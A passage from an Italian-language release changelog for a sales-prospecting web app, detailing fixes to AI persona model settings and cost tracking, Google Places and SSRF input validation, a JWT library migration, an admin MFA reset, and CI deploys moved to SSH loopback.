A.V.A. non rilegge piu' se stessa. sih-ava.js::ask() arricchisce il payload con GET /api/ai/briefs-for-prospect, che restituisce tutti i brief cached del prospect: _AI_AUDIT_EXCLUDE_PERSONAS filtra solo commercial_director, objection_handler e smart_briefing, quindi l'ultimo brief ava_coach rientrava in data.cached_briefs e tornava al modello. Due effetti: A.V.A. riformulava la propria risposta precedente invece di ripartire dai dati, e il payload cresceva a ogni «Rigenera». Fix lato client (non nell'endpoint): il filtro sta in sih-ava.js cosi' l'altro consumatore — l'audit stampato dello step 6 (page-06-diagnosi-proposta.js) — continua a ricevere i brief invariati; spostarlo nel BE avrebbe cambiato il PDF senza che fosse richiesto. Effetto collaterale corretto: il footer «ho letto N pareri dei consulenti» non conta piu' A.V.A. tra i consulenti. Chiuso nella stessa release, su conferma di Giuseppe: rimosso anche row.model dal payload dell'endpoint — stessa classe del leak chiuso in v2.44.0 su /api/ai/personas, endpoint auth-gated ma aperto a qualunque agente. Nessun consumatore frontend lo leggeva (verificato su tutti i JS), quindi rimozione a rischio zero; il payload per brief resta text + label + created_at. 1 test di regressione.

• v2.44.1: sih-ava.js, routers/external.py, tests/test_ai_briefs_for_prospect.py.

2026-07-24 — v2.44.0 Tier unico Opus 5 su tutte le personas + niente model name nel payload pubblico

Richiesta di Giuseppe: «consulenti verticali su Opus 5, verifica che anche AVA sia Opus 5»; scope confermato a tutte e 13 le personas. ai_personas.py: DEFAULT_MODEL e PREMIUM_MODEL entrambi a claude-opus-5 (prima claude-sonnet-4-6 / claude-sonnet-5); le due costanti restano distinte per poter ri-differenziare i tier senza toccare 13 dict. AVA era l'unica premium-critical rimasta su Sonnet 4.6. Dipendenze sistemate nella stessa release: (1) routers/admin.py::AI_PRICING — aggiunta riga claude-opus-5 $5/$25: senza, _ai_cost_usd ricadeva su _AI_PRICING_DEFAULT (Sonnet 4.6, $3/$15) e la dashboard costi avrebbe sottostimato Opus del ~40% in silenzio; (2) MODEL_LABELS aggiornate (Opus 5 = «in uso», gli altri «storico»); (3) opus_key singolo → opus_keys = ('claude-opus-5','claude-opus-4-7'), altrimenti la quota Opus per-agente restava a 0 mentre in realtà e' 100%; (4) page-admin.js — la colonna «Opus %» colorava in rosso ≥50%: con tier unico sarebbe diventata 100% rosso per ogni agente (falso allarme), colorazione neutralizzata in attesa di decidere se rimuoverla. Vincolo Opus 5 documentato nei 3 call site (smart.py, racconto.py, external.py): il thinking={'type':'disabled'} del fix #230 resta valido perche' non impostiamo output_config.effort — su Opus 5 disabled e' accettato solo a effort ≤ high (il default), mentre xhigh/max restituiscono 400. Aggiunta inoltre alle regole condivise e al prompt AVA la riga «non includere tag XML interni»: con thinking disabilitato Opus 5 puo' far trapelare tag di sistema nel testo visibile. Fix leak collaterale approvato da Giuseppe: list_personas() non espone piu' model — GET /api/ai/personas e' auth-gated ma aperto a qualunque agente (non admin-only) e restituiva claude-sonnet-5; il campo contraddiceva la docstring della funzione stessa («metadati pubblici (id, label)») ed esisteva dal commit di baseline 2026-04-26. Nessun consumatore frontend (verificato su tutti i JS/HTML), quindi rimozione a rischio zero. 6 test nuovi.

Modalita' celebrazione del popup release (richiesta di Giuseppe: «un dialog con dei coriandoli, facciamo qualcosa di WOW»). Nuovo flag opzionale celebrate: true nel manifest sih-release-highlights.json: quando una release del delta lo espone, sih-release-popup.js rende un dialog centrale modale con canvas di coriandoli al posto del toast d'angolo; le altre novita' del delta finiscono in un elenco secondario dentro la card. Senza flag il comportamento e' invariato. Scelta di design: opt-in per singola release, non default — i coriandoli a ogni patch diventano rumore e bruciano l'effetto per il salto successivo (nota operativa scritta nel manifest: al massimo qualche volta l'anno). Implementazione: canvas 2D self-contained, nessuna libreria esterna (la CSP strict blocca i CDN), ~140 particelle desktop / 80 mobile distribuite su tutta l'altezza cosi' lo schermo e' pieno al primo frame, dissolvenza nell'ultimo terzo e auto-rimozione del canvas + cancelAnimationFrame a fine ciclo (3,2s). Accessibilita': prefers-reduced-motion: reduce sopprime i coriandoli e le animazioni della card (dialog comunque mostrato); chiusura con bottone, X, click sul backdrop o Esc; role=dialog + aria-modal, focus sul bottone all'apertura e ripristinato alla chiusura. Persistenza invariata: riusa localStorage.sih_last_seen_version, quindi si vede una volta sola. Verificato in headless Chromium a 1280x860 e 390x780: dialog + coriandoli, auto-cleanup del canvas, chiusura via bottone/Esc, nessuna ricomparsa al reload, reduced-motion rispettato.

• v2.44.0: ai_personas.py, routers/admin.py, routers/smart.py, routers/racconto.py, routers/external.py, page-admin.js, sih-release-popup.js, sih-release-highlights.json, scopri.html, tests/test_ai_personas_prompts.py.

2026-07-24 — v2.43.1 Place ID validato su /api/details: 500 unhandled → 400/502 (dal triage #237)

Emerso analizzando il ticket #237 (scheda «Transfer Ncc Leonardo Solfato» irreperibile). Il link condiviso dall'agente conteneva un Knowledge Graph ID (/g/11n554x764), che non è un Place ID: passato a POST /api/details produceva la path malformata v1/places//g/11n554x764 → Google 404 con corpo vuoto → resp.json() sollevava ValueError non gestito → 500. Fix in routers/external.py::google_details: (1) place_id normalizzato con .strip() e rifiutato con 400 se contiene separatori di URL (/ ? # \) o spazi interni — la chiamata esterna non parte nemmeno, quindi nessun consumo di quota su input malformato; (2) resp.json() protetto da try/except ValueError → 502 con detail neutro. Gli errori JSON legittimi di Google continuano a passare col loro status. Verifica sul campo (chiave prod, entrambe le generazioni di API): l'attività del ticket è assente dall'indice Places — Text Search nuova, findplacefromtext e textsearch legacy rispondono tutte ZERO_RESULTS sul nome completo esatto, e uno sweep searchNearby + searchText con bias 20 km su Polignano restituisce 15 NCC nessuno dei quali è quello. Non è un difetto della nostra query: l'entità vive nel Knowledge Graph ma non nell'indice Places, e non esiste un Place ID con cui recuperarla. 12 test nuovi.

• v2.43.1: routers/external.py, tests/test_place_details_id.py.

2026-07-24 — v2.43.0 Ricerca prospect: città facoltativa, keyword-only in tutta Italia (ticket #236)

Da ticket #236 (service-area business: NCC senza sede sulla scheda Google, solo area operativa nel nome). Il vincolo «city oppure CAP oppure address+radius» su POST /api/search impediva di trovare la scheda per nome. Fix (pattern del CAP opzionale #217): (1) backend routers/external.py::google_search — rimosso il 400 «city, CAP oppure (address + radius_km) richiesto»; con city e cap vuoti il textQuery resta il keyword nudo (Google ordina per rilevanza; _google_search_fetch già lo gestiva); (2) frontend sui 4 punti di ricerca (lezione #217: home, step 1, Smart, Racconto) — validazione ridotta a solo keyword, label risultati fallback «tutta Italia» (stesso meccanismo del label «CAP 20121», quindi nessuno stato downstream nuovo: city vuota esisteva già dal solo-CAP); (3) UI — label «Città/Dove (facoltativo)» + placeholder keyword con «o nome dell'attività». Test: 3 riscritti (keyword-only 200, address-senza-km fallback, CAP invalido scartato) su tests/test_search_radius.py.

• v2.43.0: routers/external.py, page-index.js, page-01-ricerca-prospect.js, page-smart.js, page-racconto.js, index.html, 01-ricerca-prospect.html, smart.html, racconto.html, tests/test_search_radius.py.

2026-07-24 — v2.42.3 Analisi performance: dominio NXDOMAIN distinto da host bloccato anti-SSRF (ticket #235)

Da ticket #235: Core Web Vitals «non funziona» su un prospect il cui sito (jenniferstore.it) ha il dominio scaduto (NXDOMAIN dal registro .it, verificato via DNS autoritativo). Catena del bug: core.is_private_host risponde True anche quando il DNS non risolve (deny-by-default anti-SSRF, corretto) → routers/techstack.py::_validate_url ritornava «host non consentito» → 400 → il frontend leggeva solo j.detail || j.reason (il body usa chiave error) → messaggio generico «Il servizio ha risposto con un errore. (HTTP 400)». Fix: (1) _validate_url distingue il caso con nuovo helper monkeypatchabile _host_resolves → errore dedicato ERR_DNS_UNRESOLVED; (2) l'endpoint /api/techstack/pagespeed per quel caso risponde 200 {available:false, reason:'dns_error'} (stesso pattern di timeout/api_error), mentre l'host privato che risolve resta 400; (3) page-03-web-seo.js: reasonMap['dns_error'] con messaggio commerciale chiaro + fallback j.error nella lettura degli errori HTTP; (4) hardening collaterale: URL con schema esplicito non-http (es. ftp://) ora rifiutati con «schema non supportato» invece di produrre hostname fasulli col prepend https. 2 test nuovi (dns_error 200, SSRF resta 400), suite techstack 37/37.

• v2.42.3: routers/techstack.py, page-03-web-seo.js, tests/test_techstack.py.

2026-07-19 — v2.42.2 Hardening proxy Google Places: timeout esterni gestiti (Sentry /api/photo)

Da alert Sentry del 2026-07-15: ReadTimeout non gestito su GET /api/photo (il CDN foto di Google, lh3.googleusercontent.com, non ha risposto entro i 15s di timeout durante il follow del redirect da Places /media). L'eccezione risaliva nuda dal raise in routers/external.py::google_photo → 500 unhandled → issue Sentry a ogni singhiozzo del CDN. Fix: in google_photo e google_details il re-raise generico è sostituito da catch tipizzati — requests.exceptions.Timeout → HTTPException 504, RequestException → 502 — con messaggi neutri lato utente e track_ext_api(success=False) invariato. Il frontend (img src / fallback già esistenti) si comporta come prima; Sentry riceve solo errori applicativi reali.

• v2.42.2: routers/external.py (google_photo, google_details). Zero modifiche FE/schema.

2026-07-18 — v2.42.1 Fix copy listino Racconto: promessa di stampa non più vera (ticket #234)

Micro-fix da triage ticket #234 (agente segnalava come bug l'assenza delle tre proposte di investimento nel PDF del Racconto). Il comportamento è by-design dal ticket #198 di Giuseppe (v2.21.17, 2026-05-21): #rcListinoPage escluso dal @media print di sih-racconto.css — il PDF è l'audit narrativo, la proposta resta a video. Ma il copy della sezione listino in page-racconto.js::renderListinoPage era rimasto pre-#198: l'intro diceva «prima di stampare» e la nota azioni prometteva «Il PDF mostrerà solo i prodotti selezionati» — testo fuorviante che ha causato il ticket. Fix: intro riformulata («da presentare in trattativa»), nota sostituita con spiegazione esplicita che la sezione resta solo a video e il PDF contiene l'audit senza proposta. La richiesta di prodotto (reincludere il listino nel PDF) resta in attesa di decisione admin, in conflitto con #198.

• v2.42.1: page-racconto.js (2 stringhe in renderListinoPage). Zero modifiche BE/test/schema.

2026-07-09 — v2.42.0 Migrazione libreria JWT: python-jose → PyJWT (chiude DEP-001 + PYSEC-2026-1325)

Release dedicata al core auth. Sostituita python-jose[cryptography] con PyJWT>=2.10,<3: esce dall'albero dipendenze la transitiva ecdsa (PYSEC-2026-1325, Minerva timing attack su P-256, nessuna fix upstream — era risk-accepted nel gate pip-audit dal 2026-07-09) insieme a rsa, pyasn1 e six. Superficie: auth.py (import + 2 except JWTError → jwt.PyJWTError; encode/decode invariati, firma identica), 2 file di test (in test_security_sprint_3 l'API jose-only get_unverified_claims → decode(..., options={'verify_signature': False})), manifest + lockfile rigenerato, rimosso --ignore-vuln dal workflow CI. I call sites esterni (routers/auth.py, server_fastapi.py) usano _auth.jwt.* e seguono l'import senza modifiche. Compatibilità: stesso algoritmo HS256 + stesso secret → i token in circolazione restano validi, nessun logout di massa; sub già str (ok con la strictness PyJWT 2.10+).

• v2.42.0: auth.py, tests/test_security_sprint_3.py, tests/test_security_audit_2026_05_26.py, requirements_fastapi.txt, requirements.lock, .github/workflows/test.yml.

2026-07-09 — v2.41.2 Fix categoria GBP assente nel payload prospect di Smart/Racconto (ticket #233)

Bug segnalato da Sergio Cappelletti: nell'audit Racconto la sezione «Sicurezza e ottimizzazione tecnica» elencava «Categoria principale scheda Google» tra le cose da implementare anche con categoria regolarmente impostata (e in contraddizione con «Scheda Google completa al 100%» nella colonna accanto). Root cause: routers/smart.py costruiva result['prospect'] senza i campi category/primary_type/types (mai copiati da _extract_business/prospect_details, che li hanno — la field mask Places li richiede già). A valle: (1) page-racconto.js::buildProposalDataFromSmart mappa p.category || p.primary_type → sempre stringa vuota → il narratore AI vedeva business.category='' e concludeva «categoria mancante»; (2) smart_scoring.py (_normalize_scoring_input, _card_gbp) legge prospect.get('category') → card Smart «non impostata» e check completeness a 0; (3) il regen path (riga ~1825) legge prospect.category come sector → sempre vuoto. Fix: aggiunti category (displayName), primary_type, types e city a result['prospect']. Nessuna chiamata API in più. Snapshot vecchi restano senza campo (tolleranti: default vuoto).

• v2.41.2: routers/smart.py (result['prospect'] +4 campi). Cache-buster ?v=2.41.2 su HTML auto via bump_version.py.

2026-07-03 — v2.41.1 Fix retry social single-platform che azzerava socialData (ticket #232)

Bug segnalato da Tommaso Terenziani: click su «Riprova» dopo un fallimento della detect Facebook → analisi social azzerate e link profili spariti. Root cause: page-04-social.js::retryPlatform deselezionava volutamente le altre piattaforme («Ensure only this platform is scanned») e rilanciava runScan() single-platform; ma runScan a fine chiamata sovrascrive per intero socialData (e quindi proposalData.social) con data.results del server, che conteneva solo la piattaforma ritentata → le altre analisi e i loro handle andavano persi. Fix: il retry ora include tutte le piattaforme con input non vuoto (checkbox+label+row ripristinati per ciascuna); il backend ha già la cache sulle scansioni social quindi le piattaforme già analizzate non riconsumano API e lo score resta coerente (ricalcolato server-side sull'insieme completo). Niente merge client-side dei results: sarebbe stato più fragile (score parziale/stale).

• v2.41.1: page-04-social.js (retryPlatform: include per input non vuoto). Cache-buster ?v=2.41.1 su 22 HTML auto via bump_version.py.

2026-07-03 — v2.41.0 Verifica categoria GBP allo step 2 (ticket #226)

Feature richiesta da Matteo Pecelli, approvata da Giuseppe con vincolo esplicito: l'audit giudica, non consiglia (niente call-to-action, solo verdetto evidence-based). Implementazione frontend-only: page-02-visibilita-locale.js::vl_renderCategoryCheck(compData, report) agganciata in vl_renderResults dopo vl_renderCompetitors. Prende i top 5 competitor LF per SoLV (esclusi prospect e omonimi, min 3 con place_id), fa POST /api/details per ciascuno (stesso pattern di enrichCompetitor step 5 / fix #165 — cache server-side, costo Places solo alla prima scansione) ed estrae primaryType/primaryTypeDisplayName. Verdetto: chiave modale della distribuzione vs categoria del prospect → Coerente (match), Disallineata (modale ≥ metà dei valutati e diversa), Nessun disallineamento (campo frammentato). Sezione #cat-check-section in 02-visibilita-locale.html sotto il confronto competitor, nascosta se dati insufficienti (<3 categorie recuperate, demo mode incluso). Nessuna chiamata AI, nessun impatto scoring.

• v2.41.0: page-02-visibilita-locale.js (+vl_renderCategoryCheck +hook), 02-visibilita-locale.html (+sezione cat-check). Cache-buster ?v=2.41.0 su 22 HTML auto via bump_version.py.

2026-07-03 — v2.40.1 Fix personas premium: risposta vuota su claude-sonnet-5 (ticket #230)

Regressione introdotta dallo switch v2.39.0 del tier premium a claude-sonnet-5: sul nuovo modello il thinking adattivo è attivo di default quando il parametro thinking è omesso (su sonnet-4-6 non lo era), e max_tokens è un tetto complessivo thinking+testo. Con i budget delle personas (900–1500 token) il ragionamento interno consumava l'intero budget → stop_reason=max_tokens con zero blocchi text → risposta vuota, per giunta cachata in AiInterpretation. Colpite tutte e 7 le personas PREMIUM_MODEL (commercial_director, objection_handler, seo_expert, gbp_consultant, competitive_analyst, smart_briefing, narratore_audit). Fix: thinking={'type': 'disabled'} esplicito nei 3 call site (routers/external.py, routers/smart.py, routers/racconto.py) — ripristina il comportamento pre-switch. Guardie: in external.py una risposta senza testo ora solleva 502 e NON viene cachata; in smart.py il testo vuoto è trattato come AI non disponibile (scatta il fallback testuale). Cleanup: cancellate le righe AiInterpretation con text='' create dal deploy v2.39.0 in poi.

• v2.40.1: routers/external.py (thinking disabled + guardia no-cache-vuota), routers/smart.py (thinking disabled + empty→None), routers/racconto.py (thinking disabled). Cleanup one-off righe cache vuote via SSH. Cache-buster ?v=2.40.1 su 22 HTML auto via bump_version.py.

2026-07-02 — v2.40.0 Bottone admin «Reset MFA»

Richiesta di Giuseppe dopo il reset manuale MFA di un agente (telefono/TOTP inaccessibile), eseguito via SSH one-off. Backend: nuovo endpoint POST /api/admin/agents/{aid}/mfa-reset (admin-gated via require_admin) in routers/admin.py. Semantica identica al disable self-service /api/auth/mfa/disable ma senza richiedere il TOTP (che l'agente non ha piu'): azzera mfa_secret/mfa_enabled/mfa_enrolled_at/mfa_backup_codes e imposta mfa_grace_until = now + GRACE_DAYS_DEFAULT (7gg) per il force-MFA. Guard: 404 agente inesistente, 400 se non attivo o MFA gia' spenta. Audit doppio: admin_mfa_reset loggata sull'admin actor + mfa_admin_reset_received sull'agente target (entrambe registrate in _AUTH_ACTION_META per la certificazione accessi v2.38.0). Dati: flag mfa_enabled (solo bool, mai secret) aggiunto a core._agent_to_dict e a activity.all_agents_summary (la tabella agenti admin legge da /api/admin/stats/agents). Frontend: page-admin.js — bottone «Reset MFA» nella riga agente (render condizionale su a.mfa_enabled), confirm con spiegazione grace, handler resetAgentMfa() su pattern generateResetLink(), refresh via loadAll(). Test: +4 in test_admin.py (success con verifica DB + login post-reset senza challenge + doppio audit; 400 MFA non attiva; 404; 403 non-admin con MFA target intatta). 26/26 nel file.

• v2.40.0: routers/admin.py (+endpoint, +2 action label), core.py + activity.py (flag mfa_enabled), page-admin.js (bottone+handler), tests/test_admin.py (+4 test). Cache-buster ?v=2.40.0 su 22 HTML auto via bump_version.py.

2026-07-02 — v2.39.1 Fix tariffa storica Opus 4.7 + 2 test disallineati + test date-dependent

Tre fix approvati da Giuseppe dopo la v2.39.0. (1) Tariffa Opus 4.7 corretta: routers/admin.py::AI_PRICING['claude-opus-4-7'] era 15/75 $/MTok, ma quello era il listino di Opus 4.1 mai aggiornato; il listino reale di Opus 4.7 e' $5/$25. Effetto: i costi storici delle chiamate premium in «AI & Costi» erano sovrastimati ~3x; da questa patch i totali storici scendono al valore reale. Corretti di conseguenza i claim «~5x / un quinto» scritti in changelog/roadmap/docs v2.39.0: il risparmio reale del passaggio a Sonnet 5 e' ~40% per token a listino ($3/$15 vs $5/$25). Aggiornati i 4 assert di test_ai_cost_split.py (costo Opus 22.50→7.50, opus_cost_pct 71.4→45.5, pricing 15/75→5/25, soglie flat ricalibrate). (2) 2 test social disallineati (pre-esistenti, fuori dalla selezione CI): test_fetch_facebook_posts_normalizes_items aggiornato al fetcher multi-endpoint (/posts + /reels + /photos con merge dedup e sort newest-first — la fake ora cattura tutte e 3 le chiamate, assert per-item via indice url); test_build_post_insights_full_shape aggiornato alla regola «tipi con <2 post esclusi da type_performance» (il fixture ha 1 solo sidecar → non deve comparire). (3) In v2.39.0-hotfix era gia' stato corretto test_benchmark_quarterly_trend_counts_and_avgs: il fixture usava now-100gg per il «trimestre precedente», che a inizio trimestre (2 luglio) salta nel Q-2 e svuota il bucket T-1 rompendo il gate CI; ora la data e' inizio-trimestre-corrente meno 15gg, valida per ogni giorno dell'anno (verificata su 730 date simulate). Suite locale completa verde.

• v2.39.1: routers/admin.py (AI_PRICING opus 5/25 + commenti), tests/test_ai_cost_split.py, tests/test_social_analytics.py, testi changelog/roadmap/docs/page-admin.js corretti (claim 40% al posto di 5x). Cache-buster ?v=2.39.1 su 22 HTML auto via bump_version.py.

2026-07-02 — v2.39.0 Tier AI premium: Opus 4.7 → Sonnet 5

Richiesta diretta di Giuseppe: sostituire il modello dei consulenti AI premium da Opus a Sonnet 5 (claude-sonnet-5, rilasciato da Anthropic a giugno 2026 — 1M context, 128K output, latenza inferiore a Opus, tariffa $3/$15 per MTok vs $5/$25 di Opus 4.7, con pricing introduttivo $2/$10 fino al 2026-08-31). Backend: ai_personas.py — costante OPUS_MODEL rinominata PREMIUM_MODEL (niente alias retrocompatibile, regola no-tech-debt) e puntata a claude-sonnet-5; coinvolte le 7 personas premium (Direttore Commerciale, Consulente SEO, Gestione Obiezioni, lettura GBP, Analista Competitor, Smart Briefing, narratore_audit/Racconto). Le personas tattiche restano su claude-sonnet-4-6 (DEFAULT_MODEL invariato). Nessuna breaking change API: le chiamate usano solo model/max_tokens/system/messages, tutti supportati identici. Cost tracking: routers/admin.py::AI_PRICING aggiunge claude-sonnet-5 a $3/$15 (listino standard, sovrastima prudente durante il periodo introduttivo); l'entry claude-opus-4-7 resta per il calcolo corretto dei record storici. MODEL_LABELS aggiornate («Sonnet 5 (premium)», «Opus 4.7 (premium, storico)»). Il campo opus_cost_pct per-agente resta e tende a zero (misura solo lo storico Opus). Frontend: page-admin.js — griglia «Consumo per modello» con card Premium su Sonnet 5 + card «Premium storico (Opus)» renderizzata solo se ci sono chiamate Opus nella finestra; testo esplicativo aggiornato (il premium non costa più ~5x). Test: rinominato import nei 3 test coinvolti; test_competitive_analyst_registered_with_premium_model asserisce il nuovo ID. Suite completa verde in locale.

• v2.39.0: ai_personas.py (PREMIUM_MODEL), routers/admin.py (pricing+label), page-admin.js (card modelli), commenti costo in db.py/routers/racconto.py/genera_panoramica_pdf.py, 3 file test. Cache-buster ?v=2.39.0 su 22 HTML auto via bump_version.py.

2026-06-27 — v2.38.7 Step 5 Social: riuso analisi prospect dagli step precedenti (ticket #225)

Bug fix ticket #225 (Gianluca Serra, non-admin), prospect ChIJQdM78iDzJRMRtvrjvcWdrKs: nella pagina 05-competitor-intelligence.html la card «Social presence» del prospect mostrava un numero di canali/follower diverso (tipicamente piu' basso) di quanto rilevato negli step precedenti, rendendo il confronto coi competitor «impari». Diagnosi: page-05-competitor-intelligence.js:606 chiamava loadSocialPillar(eP, 'prospectSocial', 'prospect', null) che (riga 1020) lanciava sempre /api/social/probe?website=... da capo per il prospect, ignorando proposalData.social gia' popolato dallo step 4 (page-04-social.js, shape {results:{plat:{classification,followers,active,...}}}) o da smart audit. Il probe live e' soggetto a transient fail (cache miss, 403 sito, redirect): quando "perde" canali il delta vs competitor diventa fuorviante. Fix: nuova helper _prospectSocialFromProposalData() in page-05-competitor-intelligence.js legge localStorage.sih_proposal_data e riconosce entrambe le shape note: (a) {channels:[]} dal probe pass-through, (b) {results:{plat:{}}} da page-04 — convertita a channels[] mappando platform=plat-key, active=r.active ?? !!(handle||url||followers), followers=Number(r.followers). loadSocialPillar per slot prospect prova la riusa-cache prima di lanciare il probe; fallback al probe live se proposalData non ha social. Il pillar score (riga 681, Math.log10(tf+1)*20) resta invariato perche' consuma channels[].followers. Backward-compat: i delta competitor (renderSocialPillar + chip matching) non cambiano, leggono lo stesso shape. Impatto user: i canali e follower mostrati nello step 5 per il prospect coincidono con quelli dello step 4. Nessun rilancio probe inutile.

• v2.38.7: page-05-competitor-intelligence.js +50 righe (helper riusa-cache + branch slotKey=='prospect' in loadSocialPillar). Zero modifiche backend / endpoint / schema / score. Cache-buster ?v=2.38.7 su 22 HTML auto via bump_version.py.

2026-06-26 — v2.38.6 Smoke test deploy via SSH loopback (chiude WAF su step finale)

Hotfix infrastrutturale continuativo a v2.38.4. Gotcha emerso v2.38.5: il deploy CI di v2.38.5 e' avanzato fino allo step Restart uvicorn via SSH loopback (success, fix v2.38.4 confermato), ma e' fallito allo step finale Post-deploy smoke test (static + VERSION cross-check BE/FE). Il vecchio smoke (introdotto v2.38.1) faceva urllib.request HTTPS su https://giuseppef73.sg-host.com/VERSION e /api/status dal runner GH. SG-CAPTCHA WAF ha intercettato di nuovo (stesso runner pool Azure) restituendo HTTP 202 + HTML meta-refresh a /.well-known/sgcaptcha/. json.loads(challenge_html) → SystemExit("Expecting value: line 1 column 1 (char 0)"). Bonus bug scoperto: il loop sulle 4 pagine printava «OK 202» perche' non verificava status==200 esplicitamente, mascherando il fatto che TUTTE le pagine venivano servite dalla challenge page. Fix v2.38.6: smoke step riscritto in paramiko SSH (stesso pattern del restart v2.38.4): (a) cat /home/customer/www/.../VERSION per il file static (gia' validato da SFTP, no race), (b) curl -fsS -m 10 http://127.0.0.1:5049/api/status per il backend uvicorn in loopback puro (no Apache, no nginx, no WAF). Stesso cross-check di v2.38.1 (file static vs valore esposto da uvicorn al boot) preservato. curl -f garantisce fail su non-200. Tolto il check 4 pagine perche' redundante (gia' validate da SFTP step) e perche' era il vettore del falso positivo «OK 202». Risultato: tutta la pipeline CI ora gira via SSH loopback, immune dal SG-CAPTCHA. Verifica manuale durante fix v2.38.5: curl /VERSION e /api/status dal mio outbound = 2.38.5 / 2.38.5 (smoke OK, era solo il runner CI bloccato). Impatto user: zero. Tutti i deploy futuri end-to-end via SSH loopback.

• v2.38.6: .github/workflows/deploy.yml step smoke riscritto (~30 righe paramiko SSH+exec, drop 4-pages loop con bug 202=OK). Stesso pattern del restart v2.38.4 (stessa chiave SSH gia' in pipeline). Zero modifiche backend / schema / endpoint. Cache-buster ?v=2.38.6 su 22 HTML auto via bump_version.py.

2026-06-26 — v2.38.5 Step 3 Mixed content: esponiamo lista URL (ticket #224)

Bug fix ticket #224 (Giuseppe), prospect C. Masia | Prefabbricati in Cemento: pill rossa «Mixed content: rilevato» su step 3 senza dettagli su QUALI risorse http:// fossero presenti nel sito HTTPS. L'agente vedeva il flag ma non aveva un payload azionabile da girare al cliente. Diagnosi: routers/techstack.py::_detect_mixed_content ritornava solo bool via re.search(r'(?:src|href)=["\']http://'). Il regex matchava ma non catturava le URL. Fix: (a) _detect_mixed_content riscritto con re.findall(r'(?:src|href)=["\\\'](http://[^"\\\']+)["\\\']'), dedupe con set() preservando l'ordine, cap a 25 URL per limitare il payload (la stragrande maggioranza dei siti reali ha 1-5 link incriminati: CDN vecchi, badge esterni, link partner, «realizzato da» senza HTTPS). Lista vuota se la pagina e' HTTP o nessun match. (b) _probe_fetch: aggiunto campo mixed_content_urls: list[str] al payload; mixed_content: bool diventa bool(mixed_content_urls) per backward-compat con _build_flags (che gia' usa il bool) e con il test esistente test_probe_detects_mixed_content_flag. (c) page-03-web-seo.js: dentro il loop d.flags.forEach, quando f.code === 'mixed_content' e d.mixed_content_urls.length > 0, render di un <details class="p3-accordion"> indented sotto il flag con summary «Mostra le risorse HTTP trovate (N)» e <ul> di <a target="_blank"> per ogni URL. Word-break su URL lunghe. Test: tests/test_techstack.py +2 test (lista deduplicata con cap implicito + verifica dedupe, lista vuota su HTTPS clean). Pre-esistente test_probe_detects_mixed_content_flag resta verde (back-compat bool). Validazione su prospect reale: masiaprefabbricati.it ha 2 link mixed content (oristanonoi.it, paginesispa.it). Impatto user: il check tecnico passa da informativo («c'è un problema») ad azionabile («ecco i link da sistemare»).

• v2.38.5: routers/techstack.py::_detect_mixed_content riscritto (~10 righe) + _probe_fetch aggiunge mixed_content_urls al payload. page-03-web-seo.js::renderTech +12 righe accordion dentro il loop flags. tests/test_techstack.py +2 test. Zero modifiche schema / endpoint / rate-limit. Cache-buster ?v=2.38.5 su 22 HTML auto via bump_version.py.

2026-06-26 — v2.38.4 Pipeline CI: restart uvicorn via SSH loopback (bypass WAF SG-CAPTCHA)

Hotfix infrastrutturale al workflow di deploy automatico. Gotcha emerso v2.38.3: il primo deploy CI di v2.38.3 (mattina 26/06) e' fallito allo step Restart uvicorn (reload.php — BLOCCANTE). Lo step era stato introdotto in v2.38.1 e chiamava https://giuseppef73.sg-host.com/reload.php?token=... in HTTPS pubblico dal runner GitHub-hosted (IP 20.163.82.241, pool Azure 20.0.0.0/8). SiteGround davanti ad Apache ha SG-CAPTCHA: profila l'IP cloud come bot a basso reputation score e risponde HTTP 202 + HTML meta-refresh verso /.well-known/sgcaptcha/?r=%2Freload.php%3Ftoken%3D***%26cb%3D... — pagina challenge che un browser umano risolverebbe, uno script no. Il workflow si aspettava 200+JSON, trova 202+HTML, exit 1, deploy zombie (file SFTP gia' caricati, uvicorn sul vecchio codice). Il commento ottimista al rigo 17 di deploy.yml («L'IP di GitHub Actions e' trusted dal WAF SiteGround») e' falso: GH runner pesca da pool di ~3000 IP che ruotano, prima o poi uno cade sotto soglia reputation. Fix v2.38.4: (a) reload.php a riga 43 ora accetta il token anche da $argv[1] sotto PHP_SAPI==='cli' (fallback dopo $_GET['token']); backward-compat per chiamate manuali via curl/browser. (b) Step CI Restart uvicorn riscritto: invece di urllib.request HTTPS, apre Transport paramiko sulla chiave SSH gia' usata da SFTP/migrate ed esegue cd $PUB && php reload.php $(shlex.quote $TOKEN). Output JSON identico (reload.php emette su stdout) → stesso parsing healthcheck_response.status in ('restarted','ok') → stesso bloccante. Loopback puro: zero edge nginx, zero WAF, riproducibile su qualsiasi IP runner futuro. (c) Header dello YAML aggiornato per documentare l'invariante. Validazione: testato in locale con php -l reload.php + dry-run del runner Python. Limiti noti: dipende da disponibilita' del binario php via SSH (presente di default su shared hosting SiteGround). Se in futuro SiteGround dovesse rimuoverlo, fallback è replicare la logica di reload.php in puro Python (curl loopback shutdown + spawn wrapper). Impatto user: zero per agenti commerciali. Tutti i deploy futuri tornano self-healing.

• v2.38.4: reload.php +9 righe (token via $argv sotto SAPI cli + commento esplicativo). .github/workflows/deploy.yml step Restart uvicorn riscritto in paramiko SSH+exec (~50 righe vs vecchie ~40 urllib). Zero modifiche backend / schema / endpoint user-facing. Cache-buster ?v=2.38.4 su 22 HTML auto via bump_version.py.

2026-06-26 — v2.38.3 Step 4 Social: retry detect su cache negativa

Bug fix ticket #223 (Giuseppe) «Social non rilevati ma su GBP sono inclusi», prospect C. Masia | Prefabbricati in Cemento. Diagnosi: /api/social/detect sul sito (masiaprefabbricati.it) ritornava correttamente 4 canali (facebook, instagram, youtube, linkedin) — l'endpoint scrappa il footer HTML e funziona. Il sintomo (zero checkbox attivati su step 4) era frontend: page-04-social.js::tryDetectSocials consultava sessionStorage[sih_social_cache] popolato da page-01-ricerca-prospect.js::pspFetchSocials (TTL 30min). La cache puo' contenere null (errore HTTP upstream — rate limit 429, 5xx, ecc.) o {} (homepage scaricata ma _extract_socials_from_html ha trovato 0 match nel momento del lazy-load di step 1). Il vecchio check if (cached !== undefined) found = cached || {} trattava entrambi i casi come «trovato nulla» e silenziava la detect su step 4 per i 30 minuti successivi. Fix: nuovo predicato cachedHasResults = cached && typeof cached === 'object' && Object.keys(cached).length > 0. Step 4 si fida della cache SOLO se contiene almeno un canale; altrimenti ritenta /api/social/detect ignorando il valore negativo. Rate-limit lato server e' 100/h/agente (_RL_SOCIAL_DETECT in routers/external.py) — abbondante per il pattern di accesso reale (1 chiamata in piu' per prospect, max). Asimmetria voluta vs step 1: step 1 fa lazy-load di 60 card in parallelo (5 concorrenti, timeout 4s AbortController) per cui il negativo va cached per non saturare; step 4 e' la pagina dove l'agente HA BISOGNO del dato e l'overhead di un retry e' 